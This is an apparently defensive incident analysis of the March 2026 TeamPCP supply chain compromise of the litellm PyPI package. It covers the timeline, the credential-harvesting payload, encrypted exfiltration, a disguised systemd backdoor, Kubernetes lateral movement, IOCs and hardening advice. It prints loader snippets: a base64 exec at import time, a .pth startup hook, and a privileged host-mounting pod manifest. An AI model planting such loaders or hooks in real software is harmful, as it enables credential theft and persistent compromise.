LiteLLM Supply Chain Attack: How TeamPCP Backdoored AI Infrastructure

Why This Matters

On March 24, 2026, the popular Python package litellm -- a universal LLM proxy gateway used by thousands of enterprises to route traffic between applications and AI providers like OpenAI, Anthropic, Google, and AWS Bedrock -- was silently compromised on PyPI. Two poisoned versions (1.82.7 and 1.82.8) were published within 13 minutes of each other, carrying a multi-stage payload that stole credentials, exfiltrated cloud secrets, spread laterally across Kubernetes clusters, and installed a persistent backdoor with remote code execution capabilities.

With approximately 3.6 million daily downloads and deep deployment across cloud-native AI infrastructure, litellm sits at the crossroads of everything modern attackers covet: API keys for every major AI provider, cloud IAM credentials, Kubernetes secrets, and SSH keys.

But the litellm compromise was not an isolated event. It was the culmination of a five-day, five-ecosystem campaign by a threat actor known as TeamPCP -- a campaign that first poisoned security scanners (Aqua Trivy, Checkmarx KICS), then used the stolen CI/CD credentials to cascade downstream into npm, OpenVSX, and finally PyPI. The attackers weaponized the very tools that organizations rely on to protect their supply chains.

This attack represents a step change in supply chain threat sophistication. The multi-hop, cross-ecosystem design,compromising security tooling to reach high-value AI infrastructure, reflects a level of planning and operational maturity consistent with increasingly commoditized attack tooling. The payloads were iterated in real time (three payload variants appear in the source code, including commented-out earlier versions), the C2 infrastructure was registered the day before the attack, and the exfiltration domains were carefully chosen to mimic legitimate vendor infrastructure. The systematically comprehensive credential harvester -- covering 15+ categories including niche targets like Cardano signing keys and WireGuard configs -- suggests a degree of thoroughput that points toward AI-assisted malware development as a force multiplier.

---

Timeline

Date (UTC)	Event
March 19	TeamPCP compromises Aqua Trivy GitHub Action tags, replacing them with malicious code that exfiltrates CI/CD secrets from downstream repositories
March 21	Compromise extends to Checkmarx KICS and AST GitHub Actions using similar techniques
March 22, 06:35	BerriAI publishes litellm 1.82.6 (last clean version) via normal CI/CD pipeline that uses Trivy for security scanning
March 23	TeamPCP registers models.litellm.cloud (exfiltration domain). Compromises 66+ npm packages and OpenVSX extensions
March 24, 10:39	litellm 1.82.7 published to PyPI -- payload injected into proxy_server.py at module scope. Executes on import
March 24, 10:52	litellm 1.82.8 published 13 minutes later -- adds litellm_init.pth, a Python path configuration hook that executes on every Python interpreter startup, not just litellm imports. Shows rapid payload iteration
March 24, ~16:00	PyPI removes both versions after community reports. Versions are fully deleted (not yanked) from the index, though CDN tarballs remain accessible

Exposure window: approximately 5.5 hours. During this time, any pip install litellm, pip install --upgrade litellm, or CI/CD pipeline pulling the latest version would have executed the payload.

---

How the Malware Got In: The Cascading Compromise

The litellm package was not directly breached. The attacker reached it through a two-hop supply chain attack:

Aqua Trivy GitHub Action (compromised March 19)
    --> LiteLLM CI/CD pipeline runs Trivy without pinned version
        --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner
            --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM's CI/CD pipeline used Trivy as a security scanner -- the very tool designed to catch vulnerabilities was itself the attack vector. Because the pipeline referenced Trivy by mutable tag rather than a pinned commit SHA, the compromised action ran automatically. The malicious Trivy action exfiltrated environment secrets, including the PYPI_PUBLISH token, giving TeamPCP direct publishing access to the litellm PyPI project.

This "compromise the guards" strategy is a hallmark of the TeamPCP campaign. By targeting security tools first (Trivy, Checkmarx KICS), the attackers simultaneously disabled detection and gained privileged access to downstream supply chains.

---

Technical Analysis: The Payload

Injection Points

Version 1.82.7 -- Module-level execution in litellm/proxy/proxy_server.py (line 128):

import subprocess, base64, sys, tempfile, os

b64_payload = "<~12KB base64 blob>"

with tempfile.TemporaryDirectory() as d:
    p = os.path.join(d, "p.py")
    with open(p, "wb") as f:
        f.write(base64.b64decode(b64_payload))
    subprocess.run([sys.executable, p])

This code sits at module scope between a dictionary literal and the original showwarning() function. It executes immediately when litellm.proxy.proxy_server is imported -- which happens on any use of litellm's proxy functionality.

Version 1.82.8 -- Added litellm_init.pth (Python path configuration file):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...)

Python .pth files in site-packages/ are processed on every interpreter startup, but only lines beginning with import are executed as code. The attacker exploits this by chaining the entire payload onto a single import statement: import os, subprocess, sys; subprocess.Popen(...). This is far more aggressive than the proxy_server.py injection -- it fires even if litellm is never imported, on every Python process launch. The pyproject.toml was modified to include this file in the distribution:

include = [
    { path = "litellm_init.pth", format = ["sdist", "wheel"] }
]

Version 1.82.8 thus has two independent execution paths: the proxy_server.py injection (fires on litellm proxy import) and the .pth file (fires on any Python startup). The redundancy is itself notable -- it hedges against detection or removal of either path alone. The escalation from import-time to startup-time execution just 13 minutes after 1.82.7 suggests the attacker was monitoring deployment success and rapidly iterating.

Stage 1: Comprehensive Credential Harvesting

The decoded inner script is a meticulous credential vacuum. It uses os.walk(), glob.glob(), subprocess.check_output(), and direct file reads to sweep the entire system:

Category	Targets
System recon	hostname, whoami, uname -a, ip addr, printenv, ip route
SSH	~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; host keys from /etc/ssh/
Cloud (AWS)	~/.aws/credentials, ~/.aws/config; IMDS role credentials via 169.254.169.254; Secrets Manager ListSecrets; SSM DescribeParameters
Cloud (GCP)	~/.config/gcloud/ (recursive); $GOOGLE_APPLICATION_CREDENTIALS
Cloud (Azure)	~/.azure/ (recursive); environment variables
Kubernetes	Service account tokens; ca.crt; namespace; kubectl get secrets --all-namespaces; all secrets via K8s API
Environment files	.env, .env.local, .env.production, .env.development, .env.staging -- searched recursively (depth 6) across /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
Docker	~/.docker/config.json, /kaniko/.docker/config.json
Package tokens	~/.npmrc, ~/.vault-token, ~/.netrc
Databases	~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, MongoDB configs
TLS/SSL	Private keys from /etc/ssl/private/, Let's Encrypt certs, all .pem/.key/.p12/.pfx files
Git	~/.git-credentials, ~/.gitconfig
CI/CD	terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
Crypto wallets	Bitcoin, Ethereum keystore, Solana keypairs (validator, vote, stake, faucet), Cardano signing keys, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero
Shell history	.bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
System auth	/etc/passwd, /etc/shadow, auth logs (accepted SSH sessions)
Webhook/API keys	Grep for Slack webhooks, Discord webhooks, API keys/secrets in config files
VPN	WireGuard configs from /etc/wireguard/

The scope of this harvester is encyclopedic. It targets not just cloud credentials but also cryptocurrency wallets, database passwords, VPN configurations, and CI/CD secrets -- suggesting the attacker intends to monetize compromised systems across multiple vectors.

Stage 2: Encrypted Exfiltration

Stolen data is encrypted and exfiltrated using a hybrid encryption scheme:

1. AES-256-CBC encryption of all collected data with a random 32-byte session key (via openssl enc)
2. RSA-4096 encryption of the session key using the attacker's embedded public key (OAEP padding, via openssl pkeyutl)
3. Both ciphertext files bundled as tpcp.tar.gz (the tpcp prefix -- "TeamPCP" -- appears consistently across the campaign)
4. HTTPS POST to https://models.litellm.cloud/ with Content-Type: application/octet-stream

The domain models.litellm.cloud was registered on March 23 -- one day before the attack -- and is designed to blend with legitimate litellm infrastructure (the real project uses litellm.ai). Even a network-aware defender reviewing egress traffic might not flag traffic to what appears to be litellm's own model endpoint.

Stage 3: Persistent Backdoor (sysmon.py)

The payload installs a polling backdoor disguised as system telemetry:

• Path: ~/.config/sysmon/sysmon.py
• Service: sysmon.service (systemd user unit, described as "System Telemetry Service")
• Behavior: After an initial 300-second sleep, polls https://checkmarx.zone/raw every ~50 minutes
• Execution: Downloads the URL returned by the C2 to /tmp/pglog, sets it executable (chmod 755), runs it in a detached session
• State tracking: /tmp/.pg_state prevents re-downloading the same payload
• Persistence: Restart=always, RestartSec=10 -- survives crashes and reboots

The domain checkmarx.zone is a typosquat of Checkmarx (the security company at checkmarx.com), designed so that SOC analysts reviewing network logs would see traffic to what appears to be a legitimate security vendor. This is a deliberate evasion technique consistent with TeamPCP's broader strategy of hiding behind security vendor branding.

Stage 3b: Kubernetes Lateral Movement

If the compromised system has Kubernetes service account credentials, the malware enumerates all cluster nodes and deploys privileged pods to each one:

pod_manifest = {
    'apiVersion': 'v1', 'kind': 'Pod',
    'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},
    'spec': {
        'nodeName': node_name,
        'hostPID': True, 'hostNetwork': True,
        'tolerations': [{'operator': 'Exists'}],
        'containers': [{
            'name': 'setup',
            'image': 'alpine:latest',
            'command': ['sh', '-c', drop_cmd],
            'securityContext': {'privileged': True},
            'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]
        }],
        'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],
        'restartPolicy': 'Never'
    }
}

Each pod:

• Runs as privileged with hostPID, hostNetwork, and full host filesystem access
• Uses chroot /host to install the same sysmon.py backdoor on the host's root filesystem
• Registers it as a systemd service, ensuring persistence survives pod deletion
• Named node-setup-* in the kube-system namespace to appear as legitimate cluster infrastructure

This means a single compromised CI/CD runner with K8s access could result in every node in the cluster being backdoored -- a catastrophic lateral movement scenario for organizations running litellm as a proxy in Kubernetes.

Payload Evolution (Commented-Out Variants)

The source code at lines 131-132 contains two commented-out earlier payload variants, revealing the attacker's development process:

• All three variants share the same exfiltration infrastructure (models.litellm.cloud), RSA-4096 public key, AES-256-CBC + RSA hybrid encryption wrapper, and tpcp.tar.gz bundle naming
• Earlier variants added an RC4 encryption layer inside the data collection script, encrypting harvested data before the outer AES+RSA wrapper. The active payload (line 130) simplified by removing this inner RC4 layer
• The earlier variants use exec() with StringIO capture to run the collector in-process, while the active payload uses subprocess.run() with stdout redirect -- a cleaner separation that avoids polluting the host process
• All three variants target the same credential categories and collection paths
• The RC4 key in the earlier variants was a provocative slur, consistent with the actor's attention-seeking behavior on Telegram

This reveals active development during the operation. The attacker simplified the encryption stack and improved execution isolation while keeping the collection targets and exfiltration infrastructure stable.

---

Indicators of Compromise (IOCs)

Network

Indicator	Type	Purpose
models.litellm.cloud	Domain	Exfiltration endpoint (HTTPS POST)
checkmarx.zone	Domain	C2 polling endpoint (HTTPS GET /raw)

Note: External reporting links checkmarx.zone/static/checkmarx-util-1.0.4.tgz to the earlier KICS phase of the TeamPCP campaign. This URL was not found in the litellm payloads analyzed here.

Package Hashes

File	SHA256
litellm-1.82.7.tar.gz	8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea
litellm-1.82.8.tar.gz	d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

File System

Indicator	Type	Purpose
~/.config/sysmon/sysmon.py	File	Persistent backdoor script
~/.config/systemd/user/sysmon.service	File	Systemd persistence unit
/tmp/pglog	File	Downloaded second-stage binary
/tmp/.pg_state	File	C2 state tracking
litellm_init.pth in site-packages/	File	Python startup hook (v1.82.8 only)
tpcp.tar.gz	File	Encrypted exfiltration bundle

Kubernetes

Indicator	Type	Purpose
node-setup-* pods in kube-system	Pod	Privileged lateral movement pods
sysmon.service on cluster nodes	Service	Host-level persistence via pod escape

Cryptographic

Indicator	Details
Attacker RSA-4096 public key	SHA256 fingerprint: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8. Embedded in all three payload variants; same key reported across other TeamPCP operations
tpcp prefix in artifacts	Bundle naming convention (tpcp.tar.gz) consistent across the campaign

---

Attribution: TeamPCP

The threat actor behind this campaign is tracked as TeamPCP, also known as PCPcat, Persy_PCP, ShellForce, and DeadCatx3.

Known characteristics:

• Maintains Telegram channels at @Persy_PCP and @teampcp where they taunted security companies
• Operates across multiple ecosystems (GitHub Actions, PyPI, npm, OpenVSX)
• Uses vendor-specific typosquat domains for each phase of the campaign (e.g., checkmarx.zone for Checkmarx, models.litellm.cloud for litellm)
• Consistent infrastructure markers: same RSA key pair, tpcp.tar.gz naming convention, tpcp-docs-* GitHub repositories used as dead-drop staging
• Targets security tools as entry points to downstream supply chains

Attribution confidence: High. The shared RSA public key, tpcp artifact naming, C2 infrastructure overlap, and operational tempo across the five-day campaign strongly link the Trivy, KICS, npm, OpenVSX, and litellm compromises to the same actor.

Motivation: Likely financial (crypto wallet theft, cloud credential monetization) combined with notoriety (Telegram taunting). The breadth of credential harvesting -- from AWS IAM to Solana validator keypairs to WireGuard configs -- suggests a financially motivated actor seeking to maximize ROI from each compromise.

Possible AI assistance: The credential harvester is systematically comprehensive -- 15+ categories including niche targets like Cardano signing keys, WireGuard configs, and Kaniko Docker credentials -- in a way that is consistent with AI-assisted enumeration. The speed of payload iteration (three variants with different encryption schemes), cross-ecosystem coordination (5 ecosystems in 5 days), and operational OPSEC (vendor-impersonating domains, hybrid encryption, systemd persistence disguised as telemetry) suggest a level of throughput that may reflect AI-assisted development as a force multiplier. This assessment is speculative; skilled operators could achieve similar scope without AI tooling.

---

New TTPs and Techniques

1. Security Tool Supply Chain Poisoning (T1195.002 variant)

Compromising security scanners (Trivy, KICS) as a first-hop to reach downstream targets is a new escalation. The attacker didn't just compromise a library -- they compromised the tools organizations use to detect compromised libraries. This creates a blind spot: the scanner that should catch the malicious code is itself the delivery mechanism.

2. Python .pth File Persistence (T1546)

The litellm_init.pth technique in v1.82.8 is particularly insidious. Python .pth files in site-packages/ are processed on every interpreter startup; any line beginning with import is executed as code. By chaining the payload onto a single import statement, the attacker achieves execution on every Python process -- not just when litellm is imported. This means the payload fires even if litellm is installed but never used, and it survives remediation that replaces compromised .py files without checking for .pth files.

3. Kubernetes Cluster-Wide Lateral Movement via Privileged Pod Deployment (T1610, T1611)

The automated creation of privileged pods on every cluster node -- with hostPID, hostNetwork, host filesystem mount, and chroot to install persistence -- chains container deployment (T1610) with escape to host (T1611) to turn a single compromised workload into full cluster compromise.

4. Vendor-Impersonating C2 Infrastructure

Using models.litellm.cloud (mimics litellm) and checkmarx.zone (mimics Checkmarx) as C2/exfil endpoints is designed to evade network monitoring. SOC analysts reviewing egress traffic would see HTTPS connections to what appear to be legitimate vendor domains.

5. Rapid In-Flight Payload Iteration

Publishing v1.82.7 with import-time execution, then v1.82.8 with startup-time execution 13 minutes later, shows the attacker monitoring and adapting in real time. The commented-out payload variants (with different encryption schemes) preserved in the source code confirm active development during the operation.

---

What Can Be Done

This attack exploits trust at every layer: trust in security tools, trust in package registries, trust in familiar-looking domains, trust in CI/CD automation. Defending against it requires hardening each of these trust boundaries:

For Package Consumers

• Pin dependencies by hash, not just version. pip install litellm==1.82.6 --hash=sha256:... would have prevented the compromised versions from being installed even if they briefly appeared as the latest version.
• Use lockfiles. pip-compile, poetry.lock, and uv.lock capture exact versions and hashes. CI/CD should install from lockfiles, not from floating version specifiers.
• Monitor for .pth files. Regularly audit site-packages/ for unexpected .pth files -- they execute on every Python startup and are an underappreciated persistence mechanism.
• Implement egress network controls. The exfiltration to models.litellm.cloud and C2 polling to checkmarx.zone could have been caught by allowlist-based egress filtering in production environments.

For Package Maintainers

• Pin CI/CD actions by commit SHA, not tag. LiteLLM's pipeline used Trivy without a pinned version. If it had referenced aquasecurity/trivy-action@<commit-sha> instead of @latest, the compromised action would not have executed.
• Use short-lived, scoped publishing tokens. PyPI supports Trusted Publishers (OIDC-based) and scoped API tokens. The exfiltrated PYPI_PUBLISH token should not have had long-lived, unrestricted publishing access.
• Enable two-factor authentication on PyPI. Require 2FA for all maintainers and use hardware security keys where possible.
• Sign packages. Sigstore/PEP 740 attestations allow consumers to verify that a package was built by the expected CI/CD pipeline, not by an attacker with a stolen token.

For Platform Operators (PyPI, npm, GitHub)

• Detect anomalous publishing patterns. Two new versions published 13 minutes apart, from a different IP or token than usual, should trigger hold-for-review or automated scanning before the package becomes installable.
• Accelerate Trusted Publishers adoption. OIDC-based publishing ties packages to specific repositories and workflows, making stolen tokens useless outside the original CI/CD context.
• Implement publish-time malware scanning. The base64-decoded payload in proxy_server.py would be detectable by static analysis at publish time.

For the Ecosystem

• Treat security tools as critical infrastructure. Trivy and Checkmarx KICS are used by millions of pipelines. Their GitHub Actions should be signed, pinned, and monitored with the same rigor as the packages they scan.
• Invest in runtime detection. Static analysis alone cannot catch every obfuscation technique. Runtime monitoring of package install hooks, unexpected network connections, and suspicious file access patterns provides defense in depth.
• Share threat intelligence faster. The 5.5-hour exposure window for litellm could have been shorter with faster cross-vendor coordination. Automated scanning services like Xygeni MEW, Socket, and Snyk detected the anomaly -- the bottleneck is human confirmation and registry response time.

---

Conclusion

The TeamPCP campaign is a watershed moment for software supply chain security. By compromising security scanners first and using them as stepping stones to high-value AI infrastructure, the attackers demonstrated that the supply chain is only as strong as its weakest transitive dependency -- and that dependency might be the security tool you trust to keep you safe.

The litellm compromise specifically highlights the growing risk to AI infrastructure. As LLM proxy gateways become the standard pattern for enterprise AI deployment, they concentrate access to API keys, cloud credentials, and sensitive data in a single component. Compromising that component is a skeleton key to the entire AI stack.

Organizations that installed litellm 1.82.7 or 1.82.8 during the 5.5-hour window should treat this as a full credential compromise: rotate all secrets on affected systems, audit Kubernetes clusters for node-setup-* pods in kube-system, remove any sysmon.service systemd units, and check for litellm_init.pth in Python site-packages/ directories. Users of the official Docker image (ghcr.io/berriai/litellm) were not affected, as the image pinned its dependencies and was not rebuilt during the exposure window.